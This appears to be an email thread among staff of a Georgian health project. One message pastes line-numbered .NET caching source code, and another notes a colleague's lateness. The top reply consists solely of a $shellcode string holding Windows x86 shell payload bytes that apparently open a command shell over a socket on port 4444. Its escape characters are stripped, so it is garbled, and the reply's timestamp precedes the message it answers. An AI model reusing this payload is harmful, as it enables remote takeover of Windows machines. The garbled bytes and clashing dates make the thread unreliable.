Subject: RE: გამოიყენეთ ეს კოდი
From: Dimitri Ivanauri <[email-masked]>
To: Manuchar Tokhadze <[email-masked]>, Zurab Dalakishvili <[email-masked]>, Nikoloz Ivanauri <[email-masked]>, Tamta Kobakhidze <[email-masked]>, Giorgi Usharauli <[email-masked]>, Sergo Rostiashvili <[email-masked]>, Alexander Nodia <[email-masked]>, Alexander Turdziladze <[email-masked]>, Giorgi Lobjanidze <[email-masked]>, Ketevan Tatoshvili <[email-masked]>, Mary Gelashvili <[email-masked]>, Natia Baratelia <[email-masked]>, Valerian Khvichia <[email-masked]>, Vazha Ezugbaia <VEzugbaia
Date: Wed, 19 Nov 2014 11:59:41 +0000

$shellcode =
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52" .
"x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" .
"x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d" .
"x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0" .
"x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" .
"x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff" .
"x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d" .
"xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" .
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44" .
"x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" .
"x12xebx86x5dx68x33x32x00x00x68x77x73x32x5f" .
"x54x68x4cx77x26x07xffxd5xb8x90x01x00x00x29" .
"xc4x54x50x68x29x80x6bx00xffxd5x50x50x50x50" .
"x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7x31" .
"xdbx53x68x02x00x11x5cx89xe6x6ax10x56x57x68" .
"xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxff" .
"xd5x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7" .
"x68x75x6ex4dx61xffxd5x68x63x6dx64x00x89xe3" .
"x57x57x57x31xf6x6ax12x59x56xe2xfdx66xc7x44" .
"x24x3cx01x01x8dx44x24x10xc6x00x44x54x50x56" .
"x56x56x46x56x4ex56x56x53x56x68x79xccx3fx86" .
"xffxd5x89xe0x4ex56x46xffx30x68x08x87x1dx60" .
"xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5" .
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6f" .
"x6ax00x53xffxd5";

From: Manuchar Tokhadze
Sent: Wednesday, November 19, 2014 3:46 PM
To: Zurab Dalakishvili; Nikoloz Ivanauri; Tamta Kobakhidze; Giorgi Usharauli; Sergo Rostiashvili; Alexander Nodia; Alexander Turdziladze; Dimitri Ivanauri; Giorgi Lobjanidze; Ketevan Tatoshvili; Mary Gelashvili; Natia Baratelia; Valerian Khvichia; Vazha Ezugbaia; [email-masked]
Subject: გამოიყენეთ ეს კოდი

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128

//

//   Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

//

using System;

using System.Runtime.Caching.Resources;

using System.Collections.Generic;

using System.Collections.ObjectModel;

using System.Diagnostics.CodeAnalysis;

using System.Globalization;

using System.Text;

namespace System.Runtime.Caching {

internal sealed class MemoryCacheEntryChangeMonitor : CacheEntryChangeMonitor {

// Dev10 909507: use UTC minimum DateTime for error free conversions to DateTimeOffset

private static readonly DateTime DATETIME_MINVALUE_UTC = new DateTime(0, DateTimeKind.Utc);

private const int MAX_CHAR_COUNT_OF_LONG_CONVERTED_TO_HEXADECIMAL_STRING = 16;

private ReadOnlyCollection<String> _keys;

private String _regionName;

private String _uniqueId;

private DateTimeOffset _lastModified;

private List<MemoryCacheEntry> _dependencies;

private MemoryCacheEntryChangeMonitor() {} // hide default .ctor

private void InitDisposableMembers(MemoryCache cache) {

bool dispose = true;

try {

bool hasChanged = false;

string uniqueId = null;

_dependencies = new List<MemoryCacheEntry>(_keys.Count);

if (_keys.Count == 1) {

string k = _keys[0];

MemoryCacheEntry entry = cache.GetEntry(k);

DateTime utcCreated = DATETIME_MINVALUE_UTC;

StartMonitoring(cache, entry, ref hasChanged, ref utcCreated);

uniqueId = k + utcCreated.Ticks.ToString("X", CultureInfo.InvariantCulture);

_lastModified = utcCreated;

}

else {

int capacity = 0;

foreach (string key in _keys) {

capacity += key.Length + MAX_CHAR_COUNT_OF_LONG_CONVERTED_TO_HEXADECIMAL_STRING;

}

StringBuilder sb = new StringBuilder(capacity);

foreach (string key in _keys) {

MemoryCacheEntry entry = cache.GetEntry(key);

DateTime utcCreated = DATETIME_MINVALUE_UTC;

StartMonitoring(cache, entry, ref hasChanged, ref utcCreated);

sb.Append(key);

sb.Append(utcCreated.Ticks.ToString("X", CultureInfo.InvariantCulture));

if (utcCreated > _lastModified) {

_lastModified = utcCreated;

}

}

uniqueId = sb.ToString();

}

_uniqueId = uniqueId;

if (hasChanged) {

OnChanged(null);

}

dispose = false;

}

finally {

InitializationComplete();

if (dispose) {

Dispose();

}

}

}

private void StartMonitoring(MemoryCache cache, MemoryCacheEntry entry, ref bool hasChanged, ref DateTime utcCreated) {

if (entry != null) {

// pass reference to self so the dependency can notify us when it changes

entry.AddDependent(cache, this);

// add dependency to collection so we can dispose it later

_dependencies.Add(entry);

// has the entry already changed?

if (entry.State != EntryState.AddedToCache) {

hasChanged = true;

}

utcCreated = entry.UtcCreated;

}

else {

// the entry does not exist--set hasChanged to true so the user is notified

hasChanged = true;

}

}

//

// protected members

//

protected override void Dispose(bool disposing) {

if (disposing) {

if (_dependencies != null) {

foreach (MemoryCacheEntry entry in _dependencies) {

if (entry != null) {

entry.RemoveDependent(this);

}

}

}

}

}

//

// public and internal members

//

public override ReadOnlyCollection<string> CacheKeys { get { return new ReadOnlyCollection<string>(_keys); } }

public override string RegionName { get { return _regionName; } }

public override string UniqueId { get { return _uniqueId; } }

public override DateTimeOffset LastModified { get { return _lastModified; } }

internal List<MemoryCacheEntry> Dependencies { get { return _dependencies; } }

internal MemoryCacheEntryChangeMonitor(ReadOnlyCollection<String> keys, String regionName, MemoryCache cache) {

Dbg.Assert(keys != null && keys.Count > 0, "keys != null && keys.Count > 0");

_keys = keys;

_regionName = regionName;

InitDisposableMembers(cache);

}

// invoked by a cache entry dependency when it is released from the cache

internal void OnCacheEntryReleased() {

OnChanged(null);

}

}

}

Manuchar Tokhadze

Abt Associates Incorporated - Georgia

USAID Health System Strengthening Project

144, Tsereteli Avenue

Tbilisi 0119, Georgia

Tel.: (995 32) 251 00 21 (ext.: 1617)

Mob.: (995 93)  99 99 60

ehealth.moh.gov.ge

From: Zurab Dalakishvili
Sent: Wednesday, November 19, 2014 10:05 AM
To: Nikoloz Ivanauri; Manuchar Tokhadze; Tamta Kobakhidze; Giorgi Usharauli; Sergo Rostiashvili; Alexander Nodia; Alexander Turdziladze; Dimitri Ivanauri; Giorgi Lobjanidze; Ketevan Tatoshvili; Mary Gelashvili; Natia Baratelia; Valerian Khvichia; Vazha Ezugbaia; [email-masked]
Subject: late

ვაჟიკას შეაგვიანდება